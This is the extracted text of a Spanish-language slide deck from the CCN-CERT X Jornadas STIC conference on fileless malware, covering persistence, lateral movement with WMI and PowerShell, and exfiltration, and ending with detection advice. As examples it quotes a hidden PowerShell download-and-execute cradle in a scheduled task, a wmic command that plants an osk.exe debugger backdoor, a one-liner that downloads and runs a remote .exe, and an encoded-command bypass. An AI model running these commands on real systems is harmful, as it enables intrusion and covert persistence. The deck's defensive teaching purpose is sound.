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Categorización de malware

1. Malware ’clásico’: binarios que se ejecutan en espacio de usuario o 
en el kernel

2. ’Malware’ sin malware
3. Malware que corre en !userland | !kernel (por ejemplo, BIOS/UEFI, 

firmware, etc. -> VIII Jornadas STIC)

En	el	contexto	de	esta	presentación
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Malware	sin	malware?
Un	poco de	historia



www.ccn-cert.cni.es

X JORNADAS STIC CCN-CERT

https://www.blackhat.com/presentations/bh-jp-06/BH-JP-06-Bilby-up.pdf
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https://grugq.github.io/docs/ul_exec.txt

2004
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http://www.phrack.org/issues/63/11.html#article

2005
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https://groups.google.com/forum/#!msg/comp.os.ms-windows.programmer.win32/Md3GKPc279A/Ax3bYgXhpD8J

2000
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https://github.com/fancycode/MemoryModule

2010
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https://github.com/PowerShellMafia/PowerSploit

2013
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PowerShell IEX Craddle
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2006!

https://gist.github.com/HarmJ0y/bb48307ffa663256e239
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Persistencia
Do	I	need	always	to	survive?
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¿Necesitamos persistencia?

• Es el talón de aquiles, generalmente fácil de detectar
• Caso práctico: Duqu 2.0:

• Sólo en memoria -> necesitas dump de disco y memoria
• Infecta servidores con alto uptime
• Reinfecta servidores que han sido limpiados
• Qué pasa si hay algún problema?

• Plan B: algunas máquinas tienen un driver especial que permite conexiones
desde fuera, y utilizar credenciales robadas en sesiones RDP 
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Persistencia Características
Servicios de	Windows Crear uno nuevo o	inyectarse

en uno existente
Registro Diferentes maneras
Inyección DLL	PRELOAD Muchos trucos
Modificación de	GPO Ejecutar al	login
Uso de	objetos COM Secuestrar objectos COM	

existentes
Modificación de	binarios Clásico virus
Tareas programadas Cuando queramos
WMI Triggers	en cambios
Windows	Security	Packages Engañar al	LSA	

Principales mecanismos de persistencia clásicos
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Ejemplo tarea programada

<Actions Context=“Author”>
<Exec>
<Command>powershell.exe</Command>
<Arguments>-w hidden –nologo –nop – ep bypass –noninteractive –c 

“IEX(New-Object Net.WebClient).Download-
String(https://www.prodigiosa.com/ladybug.ps1)”

</Arguments>
</Exec>

</Actions>
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Ejemplo Windows Management Instrumentation (WMI)

Ejemplo:
wmic /user:<REDACTED> /password:<REDACTED> / node:<REDACTED> 
process call create “C:\Windows\system32\ reg.exe add 
\”HKLM\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\Image File 
Execution Options\osk.exe\” /v \”Debugger\” /t REG_SZ /d \”cmd.exe\” /f 
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Source:	Mandiant Trends	Report	2015
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Movimientos laterales
No	malware	please
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El ciclo de vida más común

• Robo de credenciales (ingenieria social, fuerza bruta)
• Acceso
• Buscar más credenciales
• Persistencia (o no)
• Búsqueda de otras máquinas para pivotar
• Exfiltración
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Herramientas para el movimiento lateral

• Hasta 2012:
• COTS malware
• Herramientas de Windows
• Batch o scripts de Visual Basic
• Psexec

• Después de 2013:
• Windows Management Instrumentation (WMI)
• PowerShell + WinRM
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Source:	Mandiant Trends	Report	2015
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El trío calavera

• Windows Management Instrumentation (WMI)
• Windows Remote Management (WinRM)
• PowerShell
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Windows Management Interface (WMI)

• Ventajas para un atacante:
• Por defecto en todos los Windows (desde Windows 98)
• Mucho más silencioso que psexec
• Las suscripciones permanentes de WMI se ejecutan como SYSTEM
• Sólo el almacenamiento de WMI están en disco, todos los payloads son 

en memoria
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Source:	https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor
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PowerShell

• Con PowerShell puedes…
• Ejecutar comandos
• Inyectar código en procesos
• Enumerar ficheros
• Interactuar con servicios
• Revisar logs del sistema
• Descargar ficheros de Internet
• Interactuar con la API de Windows
• Interactuar con el registro
• Examinar procesos
• Acceder al framework .NET
• Y mucho más!

Lo	más
importante:	casi
sin	evidencias!
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Fácil de usar

• C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -
ExecutionPolicy bypass -windowstyle hidden -noprofile (New-Object 
System.Net.WebClient).DownloadFile(‘http://anonfile.xyz/f/7f58d7ddd
ec4b72bab0fb27cd852593e.exe’,’%TEMP%\windows.scr’); cmd /c 
‘%TEMP%\
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Sistema 2.0 3.0 4.0 5.0
Año 2009 2012 2014 2016
Logging Malo Mínimo Decente Bueno
Windows	7 Por defecto

(SP1)
Necesita WMF	
3.0

Necesita WMF	
4.0

Windows	8 Por defecto Necesita WMF	
4.0

Windows	8.1 Por defecto Necesita WMF	
5.0

Windows	10 Por defecto Por defecto

Windows	2008 Por defecto
(R2	SP1)

Necesita WMF	
3.0

Necesita WMF	
4.0

Windows	2012 Por defecto Necesita WMF	
5.0

Windows	2016 Por defecto

Versiones de PowerShell
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WinRM

• PowerShell Remoting se basa en WinRM, la implementación de Microsoft 
de WS-Management

• Soporta ejecución de tres tipos:
• Comandos remotos
• Scripts remotos
• Sesiones remotas

• Security Model = Trusted Devices + User Credentials
• WinRM es necesario en Windows Server Manager 
• WinRM está habilitado por DEFECTO en Windows 

2012(R2) Server
• WinRM se permite en el Firewall de Windows en todos los perfiles de red.
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FrameWorks de explotación y post-explotación

• PowerSploit
• Nishang
• PowerCat
• Inveigh
• Empire
• DarkObserver
• PowerShell Suite
• PowerMemory

30

• PowerShellArsenal
• PowerShell-AD-Recon
• Fathomless
• PoshRat
• Metasploit
• DSInternals
• DSCompromised
• OWA-Toolkit
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https://securelist.com/blog/incidents/34344/the-flame-questions-and-answers-51/
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https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf

33



www.ccn-cert.cni.es

X JORNADAS STIC CCN-CERT

34http://blog.malwaremustdie.org/2016/09/mmd-0057-2016-new-elf-botnet-linuxluabot.html
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https://medium.com/@x0rz/interview-with-the-luabot-malware-author-731b0646fc8f#.f2prz1sxe
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Source:	https://blog.gdatasoftware.com/2014/07/23947-poweliks-the-persistent-malware-without-a-file
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Source:	http://www.symantec.com/connect/blogs/kovter-malware-learns-poweliks-persistent-fileless-registry-update
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powershell.exe -nologo -executionpolicy bypass	-noninteractive -windowstyle hidden	–EncodedCommand {very	long	string}

Source:	https://blog.malwarebytes.com/cybercrime/2016/01/trojan-dnschanger-circumvents-powershell-restrictions/
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Source:	https://blog.malwarebytes.com/cybercrime/2016/01/trojan-dnschanger-circumvents-powershell-restrictions/
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Source:	http://blog.trendmicro.com/trendlabs-security-intelligence/ransomware-now-uses-windows-powershell/
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Exfiltración
Dame	todo
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Exfiltración

1. FTP
2. HTTP/HTTPS
3. Email
4. DNS
5. OWA (Exchange)
6. Web servers
7. USB con espacios ocultos (AirGap)
8. Etc.

Cualquier	técnica	que	parezca	normal

45
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Ejemplos de exfiltración interesantes

• Proyecto Saurón:
• DNS: TXT, A, PTR registros. Codificados en Base64 pero pueden ser

cifrados
• SMTP: correo normal con texto normal y attachment data.bin (cifrado). 

Conexión a SMTP externo y si no funciona, busca SMTP interno.

• Threat Group-3390:
• OWA: Webshell + exfiltración

46

https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage
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Resumen

• Existen mecanismos de infección sin utilizar malware, ni escribir (casi) 
nada en disco desde hace muchos años

• Es necesario monitorizar de forma detallada no sólo la utilización de 
herramientas del sistema, sino la ejecución de scripts de powershell

• Tener un histórico de lo acontecido en cada dispositivo ayuda
enormemente en la respuesta ante incidentes

• La utilización de detecciones de anomalías en tráfico legítimo puede
ayudar a descubrir ciertas exfiltraciones.
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Websites
www.ccn.cni.es	
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